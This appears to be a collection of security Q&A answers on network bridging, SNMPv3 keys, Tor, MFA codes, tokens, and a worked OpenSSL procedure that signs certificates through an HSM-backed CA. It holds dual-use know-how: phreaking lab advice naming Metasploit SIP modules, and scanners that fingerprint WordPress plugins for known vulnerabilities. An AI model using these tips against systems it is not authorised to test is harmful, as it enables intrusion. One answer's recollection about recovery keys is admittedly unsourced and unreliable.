Security issues with multiple interfaces

You should consider the following:

If the two interfaces connect to two different network segments, with different levels of trust (e.g. DMZ and internal network), you are essentially bridging those networks.
Software firewalls can help mitigate the potential for abuse, but you must also consider situations where the firewall daemon fails to start, or the rules are not configured / implemented correctly. (e.g. are you properly blocking layer 2 traffic? and IPv6?)
If a vulnerability is found in your server (e.g. a kernel bug in the network stack that allows RCE) then an attacker may be able to pivot from one network to the other.

If you're concerned about traffic traveling between the two networks, you need to take measures to prevent this. The best measure is to not bridge in the first place and, as you noted, install separate servers on each segment. Properly configuring the routing table and a software firewall on the bridging system is critical to prevent abuse, but as I mentioned above it's not perfect.

One solution I've seen used is to install two separate hardware firewalls between the server and the network segments (i.e. segA <--> fwA <--> server <--> fwB <--> segB), with both inbound and outbound rules on both, so that an attacker would have to compromise both hardware firewalls and the software firewall on the system in order to pass traffic between the network segments.

Alternatively, you could look into unidirectional networking (also known as "data diodes") if the data transfer only needs to go from each segment into the server, and not the other way around. You can buy hardware systems which enforce this physically, so that there's (hopefully) no way to bypass the restriction.

As for what's safe enough for you, that largely depends on what your threat model and security requirements are.


Why does Driftnet capture only part of the image?

I believe Driftnet has implementation limitations which keep it from re-assembling the entire image sequence of packets.  It detects the first packet containing what it recognizes as an image header, but doesn't follow the entire stream of packets to completely capture the image.

There is most likely a fixed-size buffer, or max count of data packets per image.  Is it the same relative percentage of all images, or does a smaller image (smaller in total size then the size of the truncated flower image) pass through completely?


Is there any merit to the RFC 3414 (SNMPv3 User Security Model) password-to-key method?

Everything I understand about password security and hashing tells me this is not only a stupid design, but actually undermines the hash algorithm and lowers security.

Special Publication 800-63B on Digital Identity Guidelines suggests passwords need not be long and complex but rather has the following to say about passwords:

  A minimum of eight characters and a maximum length of at least 64 characters
  The ability to use all special characters but no special requirement to use them
  Restrict sequential and repetitive characters (e.g. 12345 or aaaaaa)
  Restrict context specific passwords (e.g. the name of the site, etc.)
  Restrict commonly used passwords (e.g. p@ssw0rd, etc.) and dictionary words
  Restrict passwords obtained from previous breach corpuses

I would say that rfc3414 does not inhibit these guidelines and an implementation could provide additional guidelines for password generation. Section 11.2 seems to plead for implementers to encourage good passwords. It should also be noted that the wording in 11.2 seems to indicate the algorithm is an example, and not the requirement.

  Is there actually a benefit to this method of key generation?

In section 2.6 a key localization technique is described
The example in the appendix has the additional (third) argument of engineID which is specific to the authoritative SNMP engine.

void password_to_key_md5(
      u_char *password,    /* IN */
      u_int   passwordlen, /* IN */
      u_char *engineID,    /* IN  - pointer to snmpEngineID  */
      u_int   engineLength,/* IN  - length of snmpEngineID */
      u_char *key)         /* OUT - pointer to caller 16-octet buffer */

So essentially the password is salted.

  How the heck did this get into an RFC explicitly concerned with security?

Keep in mind that this was written not too long after the time when password hashing in Windows was:

MD4(UTF-16-LE(password))


Why does Chrome warn about "Obsolete Connection Settings" for key exchange?

As Steffen Ullrich mentions in the comments, Google Chrome or Chromium basically lets you know there is no ECDHE ciphersuite used. This is no problem per se, but if you can permit it, use an EC key exchange.

The config you post is correct to the level that it will generate a certificate based on Elliptic Curves. However it seems like Apache is serving an RSA certificate.


Some sites require that you accept cookies in order to use them. Does this mean that they can read/track my real IP?

Not inherently, no.

Cookies and IP addresses are independent.  However, if you use the same browser for Tor and non-Tor access to the site, the same cookies will be sent both times, negating any benefit you would otherwise gain from using Tor.

Tor is not a cure-all for anonymity issues, it's merely one tool to use.  There are many ways you can be tracked other than through your IP address, both technical (eg. logging in to an account known to belong to you) and social (eg. personality traits known to be associated with you).  Gaining anonymity with Tor requires understanding these methods and how to counter them.  See, for example, the Tails warning page.


Since phreaking is broad, i will try to cover the important points.
General knowledge
Before trying to phreak out some of your devices i strongly recommend to study those fields:

Some examples of typical ISP (internet service provider) network Architecture

Some examples of typical MNO (Mobile network operator) network Architecture

Analog(copper) lines and recent telco technologies

Lot of service provider companies are maintaining both MNO and ISP network infrastructure. Learning how those two distinct networks communicate to each other will help you much more than stating some Phreaker softs. for instance start by reading those two pages:
IMS
UMTS

"Why are you talking about MNO or ISP infrastructure?"
you might say.

Well, regarding phreaking, knowing how those infra works should answer half your question. Telling you indirectly what you can do with a computer and what you cannot.
Answer
You can play with some metasploit SIP modules, create AP or setup PPP dialup. It can be instructive and teach you some basics, like the Modulation and Demodulation (Yes, this is how the Modem word was born.) Or the difference between copper and radio networks, and intrinsically learn about the interoperability between them. Of course the OSI model should have no secret for you.
If you truly want assess phone security in depth, you need more than a linux distro. You need hardware.

3 Android phones with 3 sims would be good. (caller, callee(victim), attacker)
adding a Copper network phone or two to your lab would be better.
Build/buy some phreaking box would be the best. (be very careful on this point! owning a box, whatever the color, can be illegal in your country jurisdiction, you might need some special authorization to have one, please inquire, don't take it lightly.)

Last important point: dont try to spoof or create a MNO's LTE/3G/4G antenna.
Have fun.


PCI DSS 11.2.1/11.2.3 - Internal scans scope

This is an issue I've been dealing with as well. The best answer I can suggest is to get the PCI scoping toolkit from http://itrevolution.com/pci-scoping-toolkit/. Anything level 1 or 2 is in scope for the scan.


What is the purpose of having 10 MFA Recovery Codes?

The codes are normally one time use, so providing more than one is most likely a convenience to the end user. For example, maybe the user needs to login but doesn't have the chance to change their security settings until a later time. Or maybe there was an error in the login and now they are completely locked out if they didn't have additional codes.

Many of the services also email you when the backup keys are used, so you are instantly notified.

I would assume many of the services also take precautions to thwart brute force attempts, whether that be by rate limiting, lock outs, black listing or notifications to the account owner.

I remember reading about how the recovery keys are generated and saved, but I can not find the source now. From what I remember, there are like 1000, or maybe a lot more than that, pre generated recovery keys. They provide 10 for you to use that are active, and when one is used, it is no longer usable and now there are less available recovery keys over all (999).


SSL 3.0 for clients without room for chosen plaintext attacks

SSL 3.0 is deprecated for almost two years now. As said by others, don't find any justification to use it any longer then necessary. About now almost all client software (including MUA's) will stop supporting it.

https://tools.ietf.org/html/rfc7568


When connecting to public wifi, is login information resent if you were previously logged in?

The logins to sites like Google use one of the modern authentication methods. Often OAuth.

These use tokens issued by the site to your browser to indicate that you have logged in. There are typically 2 timeouts for authentication on these sites.

There may be a login timeout. This may be updated when you do something active on the site or it may be a fixed timeout. Generally measured in days, sometimes weeks or months. When it expires, you have to put your login credentials back in.

On top of that, there is a token refresh timeout. Tokens are typically short-lived since that reduces the amount of work the servers have to do to check that the browser using the token is the one it was sent to originally. The token is checked on each page refresh (sometimes via socket connections as well) and can be refreshed by the server during those interactions. If the token expires, the server will typically recheck your login credentials and issue a new token without your interaction if it thinks the credentials and the browser are still valid.

This is what lets you have extended sessions with a service without having to log in all the time. You will note that banking and finance services don't allow extended sessions as they are certainly less secure. But with careful processing, it can be a fairly safe mechanism and is used, for example, on Azure & AWS management portals.

So, to your question. There is reauthentication going on. A secure service will check that the token is coming from the originating IP address and if not, will force a recheck of credentials (which doesn't necessarily mean a new login for the user). But all of that happens over HTTPS (TLS) and so should be invisible to a Wi-Fi based hacker.

I say should because there are lots of ways for this to go wrong. The service may not be validating tokens correctly for example which can lead to token replay attacks (though that needs something to have access to the token from your browser). You could be subject to a Man In The Middle Wi-Fi attack which intercepts your TLS connection. Browsers are generally better at reporting on these now, if you get a warning to say that there is something wrong with the certificate for a site while you are on Wi-Fi, that is a pretty good indicator of a MitM attack happening. There are also various ways for the service to have messed up the configuration of their TLS making it weaker.

For security, you should always use a good VPN (there are many really poor ones) and have that turned on from the outset.


Is refreshing a refresh token a bad idea?

It depends on what sort of system you want to create.

Requiring a re-up of the refresh token is annoying, as users have to enter their password again (or whatever the process is).  If this is an automated process, like an application that runs unattended on a server, this becomes not just a UX issue but a stability one as well, as the system will break if someone doesn't remember to log in and manually get a new refresh token.

However, there's a reason you see this sort of setup.  For instance, Google logs you out of all their webapps every month, which prevents someone who has access to your account (stolen laptop, left yourself logged-in at a library, etc.) from maintaining that access indefinitely.


Possible to determine what plugins and versions are being used in a wordpress site?

Are you aware of existing software that does the same thing?

wpupdatescan
wpscan
Acunetix (free version of commercial product)

Use a method to parse what plugins are used on a WordPress site, and then it's a simple compare to a vulnerability database.


How can I use my HSM to turn a CSR into a certificate?

Creating a certificate is NOT signing the CSR, or even the CSR body. You need to create a cert body containing data that is partly the same as the CSR and partly different, and sign that.

First, do you have a CA cert (root or otherwise) matching the key in your HSM? If not, any cert(s) you do manage to create with that key won't be useful because software has no reason to trust it(them).

OpenSSL has an ENGINE API to allow HSMs or other "external" components to handle some crypto operations, including RSA.
This API is intended to be simple enough that new engines can easily be added. If there is an engine module already compatible with your HSM or you can get one, you can just use the same
openssl commandline operations openssl ca or openssl x509 -req -CA* with explicit -engine option or the equivalent in your config file. If your HSM supports a PKCS#11 interface,
there is a generic but thirdparty pkcs11 engine for OpenSSL, see https://stackoverflow.com/questions/19456555/openssl-engine-pkcs11-libp11-opensc .

Or you can as @Z.T. comments write a program that calls libcrypto to do most of the same things the commandline apps do, except using your HSM to do the signature.
I suggest looking at the reqfile case in apps/x509.c as a starting point; ca.c has so many more options it's a bit harder to extract what you actually need. You'll also need to replace X509_sign, which is really just ASN1_item_sign with X509_CINF as the encoded type, with an explicit encoding step i2d_x509_CINF(x->cert_info,...) followed by digest, encode/pad, and sign as per PKCS#1/rfc3447 (and rfc3279).

As a last resort you could:

create a fake issuer keypair with the same algorithm (RSA) and size, and fake issuer cert for that keypair but with the same names, and keyid if used, as the real CA cert; the keyid won't match the key as openssl sets automatically so you'll have to encode the explicit value
use openssl commandline as-is to process your CSR and issue a bastard cert under the fake issuer keypair and cert (add) with right hash, so it has all the correct data in the cert body (add) and algids but a wrong signature
split the DER encoded cert into the outer wrapper, "to-be-signed" body, algid, and wrong signature
have your HSM sign the encoded/padded digest of body with the real CA key giving a good signature
recombine the outer wrapper, body, and algid with the good signature

Expanded third option per comment. I realized x509 can copy an existing subjectkeyid without computing it on the actual (new) key, so that part is easier; note this feature requires the fairly-recent version 1.0.2 of OpenSSL.

Also on going through the steps I realized your device is signing with SHA-1. Because MD5 was broken several years ago for collision, and thus signature at least in a potentially adversarial situation like cert issuance, and the consensus of cryptography experts is that essentially the same techniques will work soon against SHA-1, cert signature using SHA-1 has been officially disapproved since 2013 by NIST, and prohibited by CA/Browser Forum for certs lasting beyond next year (2016) and some people are actively pushing to make it sooner. There are already dozens of questions here and some other SEs about this: "Why does Chrome warn my cert is about to be insecure?" "SHA-1 is obsolete, you need to get a new one." "How can I shut off all the warnings clogging my Firefox console about SHA-1 certs?" "You can't, that's a feature." Browsers may, with sufficient manual overrides, continue to accept SHA1 signatures from private in-house CAs like yours, where the collision risk is mitigated, but it may become more difficult, especially if the users of your system(s) are not crypto experts.

Those said, here's a worked example on Windows, which is the slightly harder case:

:: contents of conf.txt

[req]
# to generate CSR (and also fake HSM)
distinguished_name = reqdn
[reqdn]
# dummy, actual values on commandline

[myca]
# to issue "bastard" cert which will be patched
private_key = fakekey.pem
certificate = fakecert.pem
default_days = 365
database = index.txt
serial = serial
new_certs_dir = .
policy = policy_anything
x509_extensions = user
[ policy_anything ]
countryName     = optional
stateOrProvinceName = optional
localityName        = optional
organizationName    = optional
organizationalUnitName  = optional
commonName      = supplied
emailAddress        = optional

[HSMCA]
# to fake HSM only
basicConstraints=CA:true
keyUsage = keyCertSign
subjectKeyIdentifier = hash
#authorityKeyIdentifer not needed

[user]
# for issued certs
keyUsage = digitalSignature, keyEncipherment
authorityKeyIdentifier = keyid
# could be omitted or 'issuer' additionally or instead
subjectAltName=DNS:example.com,DNS:*.example.com
# canned value for example, reality should be copy-from-req or dynamic

:: simulate for example "real" (HSM) key and CA cert for it

C:\temp>openssl req -newkey rsa:2048 -x509 -subj "/C=QQ/O=McKean/OU=HSMCA" -days 3650 ^
-config conf.txt -extensions HSMCA -nodes -keyout hsmkey.pem -out hsmcert.pem
Loading 'screen' into random state - done
Generating a 2048 bit RSA private key
..........................+++
..........................+++
unable to write 'random state'
writing new private key to 'hsmkey.pem'

C:\temp>openssl x509 <hsmcert.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            c3:1e:19:f6:87:e0:8e:90
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=QQ, O=McKean, OU=HSMCA
        Validity
            Not Before: Oct 16 02:38:16 2015 GMT
            Not After : Oct 13 02:38:16 2025 GMT
        Subject: C=QQ, O=McKean, OU=HSMCA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:ba:f1:da:4a:2b:24:8c:de:1b:cc:b8:e4:30:a5:
                    17:bc:d2:a9:93:8c:cc:ee:91:98:99:83:ee:81:d3:
                    80:e5:9c:ec:5d:97:c3:2f:8e:e6:db:52:e0:af:a1:
                    c6:f4:6e:78:90:32:3a:8c:09:a5:78:34:76:44:98:
                    04:83:03:41:59:f0:0b:7e:13:02:20:a0:70:cb:eb:
                    32:52:c8:62:ee:1c:97:a3:c9:64:14:0a:73:85:9d:
                    e3:16:90:96:3d:e1:e7:3a:39:a8:95:64:68:8f:e4:
                    eb:29:62:36:ff:e6:e7:89:d6:5a:8f:b0:03:cb:38:
                    e4:dc:6a:9d:5b:9c:5d:1a:4e:13:5c:22:5a:cf:e6:
                    92:a5:42:82:44:c7:07:46:f4:db:57:97:04:e6:b3:
                    7b:88:3b:14:ff:c7:dd:87:7a:e3:14:f6:84:ef:09:
                    9e:44:7b:e1:81:a9:3d:c6:a6:5f:77:ee:02:6e:74:
                    a6:b8:d9:30:88:8e:b4:48:b3:f0:ab:c9:87:5c:db:
                    5d:df:05:28:b1:34:b7:20:32:be:b7:a2:77:7d:bf:
                    7f:62:57:88:c3:c9:4c:4d:29:63:cc:a3:dc:b2:b3:
                    00:8c:69:17:f9:d1:6c:02:31:9d:ca:03:6f:c2:a0:
                    ef:61:14:66:07:57:e6:9c:44:7d:ed:22:e4:e9:f8:
                    7f:83
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE
            X509v3 Key Usage:
                Certificate Sign
            X509v3 Subject Key Identifier:
                F7:A0:68:EB:7F:28:BC:4C:80:03:CA:57:C7:F0:61:7B:D6:14:C3:EC
    Signature Algorithm: sha256WithRSAEncryption
         1c:78:16:42:f4:29:7c:1e:a9:fb:b6:7f:15:12:8e:d1:e6:c6:
         c3:11:dc:f2:fe:6b:3d:05:4b:0b:bc:cc:f8:29:ce:29:c1:a4:
         11:8d:c1:c1:83:b7:4c:6e:f6:51:86:3a:08:2b:e5:a2:2e:ca:
         23:09:d5:13:6d:c9:fe:b9:af:c4:ed:6f:75:d5:ef:a7:3e:4b:
         7d:09:5b:ad:0d:3b:85:c4:fb:99:dd:a3:b1:e6:f7:34:25:f9:
         c7:8e:37:fd:0d:20:85:cd:04:80:4b:b0:fc:46:4e:5b:a1:3a:
         4c:ce:a3:17:a0:f9:41:f1:64:2e:ac:96:5a:f1:72:5b:9d:57:
         0c:32:8e:cf:9b:ed:50:bf:88:28:c1:b2:bc:e1:87:3e:7b:ac:
         f1:f0:3c:c7:5c:25:0d:da:38:f0:33:e0:25:03:88:f8:97:2c:
         8c:a6:54:92:11:4d:36:9c:9f:3c:40:bb:3c:09:50:4b:f5:6e:
         85:10:bb:dc:d9:67:8f:40:03:d1:95:a5:85:05:c2:65:f5:52:
         18:a2:4d:59:7d:3f:5e:7a:f9:8c:e1:ca:ec:f8:05:4c:5c:74:
         b6:04:f0:18:27:c5:a5:c6:d4:55:56:f9:80:1a:01:78:ab:51:
         8c:c0:69:64:eb:09:ee:d8:f0:62:b9:f9:04:3c:d7:50:67:9e:
         23:a6:69:ea

:: create "fake" RSA key of same size, and fake CA cert for it
:: with same subject, issuer/serial and keyid as the HSM cert
:: (validity period differs, but that doesn't matter)

C:\temp>openssl genrsa 2048 -nodes >fakekey.pem
Loading 'screen' into random state - done
Generating RSA private key, 2048 bit long modulus
.....................................+++
..........................................................................+++
unable to write 'random state'
e is 65537 (0x10001)

C:\temp>openssl rsa <fakekey.pem -noout -text
Private-Key: (2048 bit)
modulus:
    00:98:07:94:79:39:14:c5:c7:64:8b:51:d3:9b:e1:
[remainder snipped]

C:\temp>openssl rsa <fakekey.pem -pubout >fakepub.pem
writing RSA key

C:\temp>openssl x509 <hsmcert.pem -force_pubkey fakepub.pem -signkey fakekey.pem >fakecert.pem
Loading 'screen' into random state - done
Getting Private key
unable to write 'random state'

C:\temp>openssl x509 <fakecert.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            c3:1e:19:f6:87:e0:8e:90
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=QQ, O=McKean, OU=HSMCA
        Validity
            Not Before: Oct 16 02:53:15 2015 GMT
            Not After : Nov 15 02:53:15 2015 GMT
        Subject: C=QQ, O=McKean, OU=HSMCA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:98:07:94:79:39:14:c5:c7:64:8b:51:d3:9b:e1:
                    1b:0c:e7:f8:10:15:c6:95:b2:7d:81:66:2b:0a:ac:
                    82:2d:d2:86:72:84:f2:8c:d3:09:8a:d6:01:f4:d5:
                    73:cc:4b:6a:8a:3f:4c:e0:78:41:98:74:26:ab:07:
                    db:06:66:eb:63:23:27:f6:fa:d8:cf:7f:93:c6:65:
                    72:61:3d:c8:f5:db:5d:45:ac:4f:4e:a9:91:9b:af:
                    5e:4b:d1:61:9a:6c:42:de:87:56:ec:11:d0:64:12:
                    23:24:6a:8b:4c:b9:b2:68:97:8e:43:2e:9b:ad:1c:
                    1e:f5:f9:fa:69:6a:99:d7:ab:db:3f:7b:a9:dc:44:
                    b4:49:4c:95:7a:9b:ad:a1:69:84:b5:bc:fb:66:be:
                    58:0a:df:2c:8a:01:a6:7c:38:a6:10:e7:48:ed:72:
                    37:09:ea:fc:bf:1b:9c:27:49:8b:43:32:01:9a:1d:
                    aa:00:ba:88:2e:d0:1b:14:93:9e:5b:33:f9:12:03:
                    08:9e:9f:22:06:be:c7:85:3f:39:ae:41:f8:63:0e:
                    92:08:55:9b:82:6f:a7:b1:d2:df:f6:3a:2f:97:88:
                    9f:be:17:df:40:f0:89:de:1a:94:dd:63:10:75:3c:
                    dc:a1:c4:15:ca:e9:3b:26:81:6e:7b:58:52:79:72:
                    09:47
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE
            X509v3 Key Usage:
                Certificate Sign
            X509v3 Subject Key Identifier:
                F7:A0:68:EB:7F:28:BC:4C:80:03:CA:57:C7:F0:61:7B:D6:14:C3:EC
    Signature Algorithm: sha256WithRSAEncryption
         97:5b:8b:4b:e4:e0:04:b0:b5:bd:68:09:a1:18:f2:19:68:76:
         ea:be:e8:01:42:04:0a:c1:4c:a9:4f:4f:54:31:46:6c:cd:d2:
         5a:4c:9d:af:9d:f3:99:8b:a5:ec:c3:38:7e:24:3a:6c:a0:4e:
         7b:96:c2:88:9f:31:fc:93:47:57:fa:7c:4e:79:40:e6:ed:89:
         b4:f5:42:17:d8:37:20:79:a6:2a:30:ce:f9:18:51:f0:a2:02:
         7b:cb:8b:b5:41:92:79:4f:ce:ec:99:e1:a5:82:24:ec:e5:3d:
         a1:ec:d1:6c:63:75:41:90:b6:af:15:17:f4:a1:8b:f7:8b:a5:
         09:99:f9:aa:57:f7:98:ae:bc:ef:39:aa:6c:96:66:66:8b:65:
         3a:b5:11:1f:d2:d6:b3:4d:95:0a:22:e7:3d:88:1f:ce:1c:3a:
         04:c3:4f:33:e3:53:27:1d:94:10:98:4b:f6:70:ed:48:f1:ac:
         ac:91:1a:5e:4a:37:9a:eb:58:39:69:89:d0:0e:1e:e5:7b:be:
         51:bc:54:ae:09:dd:e5:8f:1f:41:0e:11:b7:e0:87:94:ba:9e:
         d3:9b:69:04:02:fa:55:94:b0:43:bb:e9:15:ac:5c:a9:78:0d:
         ae:1c:34:b1:ca:a7:d0:d4:78:5b:ec:35:1a:07:95:68:48:58:
         fe:22:82:49

:: create user key and CSR for it, then issue bastard cert under fake key (with SHA1)

C:\temp>openssl req -newkey rsa:2048 -subj "/C=QQ/O=McKean/OU=server/CN=example.com" ^
-config conf.txt -nodes -keyout userkey.pem -out userreq.pem
Loading 'screen' into random state - done
Generating a 2048 bit RSA private key
................................................................................
.................................................................+++
...............+++
unable to write 'random state'
writing new private key to 'userkey.pem'
-----

C:\temp>echo 01 >serial

C:\temp>echo |set/p x= >index.txt

C:\temp>openssl ca -config conf.txt -name myca -in userreq.pem -md sha1 -notext -out bastard.pem
Using configuration from conf.txt
Loading 'screen' into random state - done
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'QQ'
organizationName      :ASN.1 12:'McKean'
organizationalUnitName:ASN.1 12:'server'
commonName            :ASN.1 12:'example.com'
Certificate is to be certified until Oct 15 03:52:16 2016 GMT (365 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated
unable to write 'random state'

C:\temp>openssl x509 <bastard.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=QQ, O=McKean, OU=HSMCA
        Validity
            Not Before: Oct 16 03:52:16 2015 GMT
            Not After : Oct 15 03:52:16 2016 GMT
        Subject: C=QQ, O=McKean, OU=server, CN=example.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:ad:9b:ea:c9:f1:fa:80:b6:9f:b4:6e:47:aa:9b:
                    f7:32:cf:2b:b9:44:f2:41:f3:42:10:dc:0a:58:6f:
                    8a:6b:71:2b:5d:93:a3:74:72:20:95:1a:db:9e:9c:
                    ae:d0:af:b7:da:11:f7:26:af:36:13:54:8f:b9:45:
                    d8:dd:5c:1c:a7:c7:c8:8f:b9:4d:09:f5:30:c3:2b:
                    d7:2c:c1:fa:25:78:91:51:22:61:aa:eb:8c:f4:d3:
                    47:80:7e:33:c0:9c:91:14:7d:97:fa:4c:72:28:73:
                    b5:41:7a:cc:5c:4f:da:4f:4d:6c:72:1e:65:b4:47:
                    1a:31:ff:1f:b9:e2:55:c5:c4:2c:d0:28:c9:e1:0c:
                    60:87:2c:0a:0b:21:9c:23:ee:86:a1:57:06:62:68:
                    8b:46:3b:07:2a:08:5c:6f:42:74:5b:53:a6:3e:ba:
                    ed:16:4d:64:c5:17:4a:8b:45:7e:fb:23:e7:63:94:
                    01:b1:c0:45:0d:7d:45:d0:fe:2d:1e:b0:d6:14:25:
                    45:2a:f7:3a:28:14:fe:67:0b:9b:7e:67:90:a2:84:
                    90:f5:de:55:3a:94:ad:4f:fc:80:e4:60:6d:7a:7c:
                    06:7f:aa:69:e2:22:39:e3:13:ae:20:f8:14:f8:55:
                    bd:3a:e7:6b:23:a0:b1:54:9f:bf:af:56:cc:77:32:
                    7e:27
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage:
                Digital Signature, Key Encipherment
            X509v3 Authority Key Identifier:
                keyid:F7:A0:68:EB:7F:28:BC:4C:80:03:CA:57:C7:F0:61:7B:D6:14:C3:EC

            X509v3 Subject Alternative Name:
                DNS:example.com, DNS:*.example.com
    Signature Algorithm: sha1WithRSAEncryption
         24:4c:01:bf:b3:73:8f:16:03:d5:fd:34:55:e8:7c:de:be:1f:
         99:92:88:b7:df:97:a3:a3:9e:2e:31:78:22:b8:ea:12:ff:3b:
         10:ff:d3:56:4f:5d:77:8c:21:d4:65:87:56:42:e5:91:e6:d7:
         68:b6:09:2e:22:b6:2e:d2:d7:6c:a4:3f:fa:98:57:f9:e3:61:
         fd:49:90:e7:9c:3d:42:36:19:68:8e:be:a3:77:3d:94:41:54:
         81:46:e4:bd:0b:5a:96:6e:de:28:00:36:39:a1:27:0a:84:2d:
         19:b2:3d:19:d7:97:c9:a7:3f:f2:0a:71:d8:21:4a:64:6b:25:
         85:c2:1e:f4:bf:e1:01:1c:96:64:6f:33:d6:8d:46:c2:85:3c:
         e7:fb:15:95:75:bb:cf:0c:a5:8f:6d:a3:a8:51:3b:fe:8d:cc:
         27:d1:b7:13:c8:90:60:6a:fa:ba:7e:47:53:51:f5:89:bc:f0:
         55:e7:bd:fc:29:59:0f:6e:99:e6:53:bc:87:9f:a1:23:6f:cb:
         8f:d3:58:53:a3:05:40:54:38:6e:df:34:83:86:34:9d:5d:21:
         9f:26:e9:53:e3:f1:fd:a9:8e:be:b8:64:48:d7:8d:80:a2:de:
         4a:86:fc:99:a0:08:b3:62:2b:ed:9d:38:05:ae:2a:88:75:71:
         cd:3c:89:c1

:: find parts of cert

C:\temp>openssl asn1parse -i <bastard.pem
    0:d=0  hl=4 l= 837 cons: SEQUENCE
    4:d=1  hl=4 l= 557 cons:  SEQUENCE
    8:d=2  hl=2 l=   3 cons:   cont [ 0 ]
   10:d=3  hl=2 l=   1 prim:    INTEGER           :02
   13:d=2  hl=2 l=   1 prim:   INTEGER           :01
   16:d=2  hl=2 l=  13 cons:   SEQUENCE
   18:d=3  hl=2 l=   9 prim:    OBJECT            :sha1WithRSAEncryption
   29:d=3  hl=2 l=   0 prim:    NULL
   31:d=2  hl=2 l=  46 cons:   SEQUENCE
   33:d=3  hl=2 l=  11 cons:    SET
   35:d=4  hl=2 l=   9 cons:     SEQUENCE
   37:d=5  hl=2 l=   3 prim:      OBJECT            :countryName
   42:d=5  hl=2 l=   2 prim:      PRINTABLESTRING   :QQ
   46:d=3  hl=2 l=  15 cons:    SET
   48:d=4  hl=2 l=  13 cons:     SEQUENCE
   50:d=5  hl=2 l=   3 prim:      OBJECT            :organizationName
   55:d=5  hl=2 l=   6 prim:      UTF8STRING        :McKean
   63:d=3  hl=2 l=  14 cons:    SET
   65:d=4  hl=2 l=  12 cons:     SEQUENCE
   67:d=5  hl=2 l=   3 prim:      OBJECT            :organizationalUnitName
   72:d=5  hl=2 l=   5 prim:      UTF8STRING        :HSMCA
   79:d=2  hl=2 l=  30 cons:   SEQUENCE
   81:d=3  hl=2 l=  13 prim:    UTCTIME           :151016035216Z
   96:d=3  hl=2 l=  13 prim:    UTCTIME           :161015035216Z
  111:d=2  hl=2 l=  69 cons:   SEQUENCE
  113:d=3  hl=2 l=  11 cons:    SET
  115:d=4  hl=2 l=   9 cons:     SEQUENCE
  117:d=5  hl=2 l=   3 prim:      OBJECT            :countryName
  122:d=5  hl=2 l=   2 prim:      PRINTABLESTRING   :QQ
  126:d=3  hl=2 l=  15 cons:    SET
  128:d=4  hl=2 l=  13 cons:     SEQUENCE
  130:d=5  hl=2 l=   3 prim:      OBJECT            :organizationName
  135:d=5  hl=2 l=   6 prim:      UTF8STRING        :McKean
  143:d=3  hl=2 l=  15 cons:    SET
  145:d=4  hl=2 l=  13 cons:     SEQUENCE
  147:d=5  hl=2 l=   3 prim:      OBJECT            :organizationalUnitName
  152:d=5  hl=2 l=   6 prim:      UTF8STRING        :server
  160:d=3  hl=2 l=  20 cons:    SET
  162:d=4  hl=2 l=  18 cons:     SEQUENCE
  164:d=5  hl=2 l=   3 prim:      OBJECT            :commonName
  169:d=5  hl=2 l=  11 prim:      UTF8STRING        :example.com
  182:d=2  hl=4 l= 290 cons:   SEQUENCE
  186:d=3  hl=2 l=  13 cons:    SEQUENCE
  188:d=4  hl=2 l=   9 prim:     OBJECT            :rsaEncryption
  199:d=4  hl=2 l=   0 prim:     NULL
  201:d=3  hl=4 l= 271 prim:    BIT STRING
  476:d=2  hl=2 l=  87 cons:   cont [ 3 ]
  478:d=3  hl=2 l=  85 cons:    SEQUENCE
  480:d=4  hl=2 l=  11 cons:     SEQUENCE
  482:d=5  hl=2 l=   3 prim:      OBJECT            :X509v3 Key Usage
  487:d=5  hl=2 l=   4 prim:      OCTET STRING      [HEX DUMP]:030205A0
  493:d=4  hl=2 l=  31 cons:     SEQUENCE
  495:d=5  hl=2 l=   3 prim:      OBJECT            :X509v3 Authority Key Identfier
  500:d=5  hl=2 l=  24 prim:      OCTET STRING      [HEX DUMP]:30168014F7A068EBF28BC4C8003CA57C7F0617BD614C3EC
  526:d=4  hl=2 l=  37 cons:     SEQUENCE
  528:d=5  hl=2 l=   3 prim:      OBJECT            :X509v3 Subject AlternativeName
  533:d=5  hl=2 l=  30 prim:      OCTET STRING      [HEX DUMP]:301C820B6578616D06C652E636F6D820D2A2E6578616D706C652E636F6D
  565:d=1  hl=2 l=  13 cons:  SEQUENCE
  567:d=2  hl=2 l=   9 prim:   OBJECT            :sha1WithRSAEncryption
  578:d=2  hl=2 l=   0 prim:   NULL
  580:d=1  hl=4 l= 257 prim:  BIT STRING

:: For this cert: outer TL is 0 to 4, body is 4 to 565, algid is 565 to 580,
:: BITSTRING TL+unused is 580 to 585, and actual signature is 585 to 841

:: separate the pieces; on Unix could use a bunch of dd,
:: but perl is easier and (nearly) the same on Windows

C:\temp>openssl x509 <bastard.pem >bastard.der -outform der

C:\temp>type bastard.pl
open F, '<bastard.der' or die $!; binmode F;
my $b; my $i=0; foreach my $n (@ARGV){
  ($n-=tell(F)) > 0 or die "out of order";
  open G, '>bastard.'.(++$i) or die $!; binmode G;
  read F,$b,$n; print G $b; close(G); }

C:\temp>perl bastard.pl 4 565 580 999

C:\temp>dir bastard.?
[skip]
2015-10-16  00:48                 4 bastard.1
2015-10-16  00:48               561 bastard.2
2015-10-16  00:48                20 bastard.3
2015-10-16  00:48               256 bastard.4
[skip]

:: simulate HSM signature on body with SHA1,RSASSA-PKCS1v1.5
:: doing this on the real HSM remains your problem,
:: and if you (need to) write a program
:: it might easily handle the split and recombine too

C:\temp>openssl dgst -sha1 <bastard.2 -sign hsmkey.pem >bastard.x

C:\temp>dir bastard.x
[skip]
2015-10-16  00:52               256 bastard.x
[skip]

